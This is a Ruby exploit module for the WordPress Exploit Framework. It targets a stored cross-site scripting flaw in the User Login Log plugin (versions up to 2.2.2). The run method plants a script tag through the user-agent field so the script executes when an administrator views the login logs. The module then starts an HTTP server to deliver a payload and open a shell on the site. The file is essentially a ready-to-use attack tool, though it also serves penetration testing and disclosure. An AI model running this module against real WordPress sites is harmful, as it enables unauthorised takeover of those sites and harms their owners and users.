# frozen_string_literal: true

class Wpxf::Exploit::UserLoginLogXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'User Login Log <= 2.2.2 Authenticated Stored XSS Shell Upload',
      author: [
        'Axel Koolhaas', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8751'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.html']
      ],
      date: 'Mar 02 2017'
    )
  end

  def check
    check_plugin_version_from_readme('user-login-log', '2.2.3')
  end

  def requires_authentication
    true
  end

  def run
    stored = true
    scoped_option_change 'user_agent', "<script>#{xss_ascii_encoded_include_script}</script>" do
      emit_info 'Storing script...'
      stored = super
    end

    return false unless stored

    emit_success 'Script stored and will be executed when a user views the login logs.'
    start_http_server

    xss_shell_success
  end
end
